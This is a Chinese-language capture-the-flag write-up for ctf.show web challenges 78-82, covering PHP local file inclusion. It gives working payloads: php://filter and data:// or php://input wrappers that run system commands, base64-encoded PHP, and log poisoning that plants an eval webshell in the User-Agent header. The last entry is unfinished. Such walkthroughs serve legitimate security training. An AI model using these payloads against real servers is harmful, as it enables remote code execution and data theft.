CTF SHOW
web 78-117
Web78
题目
1 2 3 4 5 6
| if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
|
1 2
| ?file=php://filter/read=convert.base64-encode/resource=flag.php #不推荐,不知道flag在哪里的时候不好用
|
1 2 3
| ?file=data://text/plain,<?php system('ls');?> ?file=data://text/plain,<?php system('ls');?> #推荐,可以使用ls命令查看flag位置
|
1 2 3
| ?file=../../../../var/log/nginx/access.log <?php eval($_POST[a]); ?> #日志包含
|
不解释
Web79
1 2 3 4 5 6 7
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
方法
data协议 利用php性质绕过
过滤掉了php但并不影响使用上一关的方法
1 2 3
| ?file=data://text/plain,<?=system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?=system('tac flag*');?> 即可读取flag.php的中的内容。
|
1 2 3 4 5 6 7
| POST /?file=Php://input HTTP/1.1
<?Php system("ls");?>
POST /?file=Php://input HTTP/1.1
<?Php system("cat flag.php");?>
|
data协议 base64加密
1 2 3
| /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls');
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');
|
Web80
1 2 3 4 5 6 7 8
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
过滤掉了php和data
日志包含
以下过程使用hackerbar即可搞定
修改User-Agent
1 2 3 4 5 6 7 8 9
| GET /?file=/var/log/nginx/access.log HTTP/1.1 Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c Connection: close
|
可以直接命令执行也可以使用webshell后门工具链接
1 2 3
| ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();
|
Web81
1 2 3 4 5 6 7 8 9
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
比起上到题新过滤了 :
使用日志注入即可
如果绕过没这么复杂的话,直接在user-agent里注入一句话木马即可。
记得要发送两次
1
| <?php system('tac fl0g.php');?>
|
然后查看源码即可
Web82
比起上道题多过滤了 .
SESSION条件竞争
待施工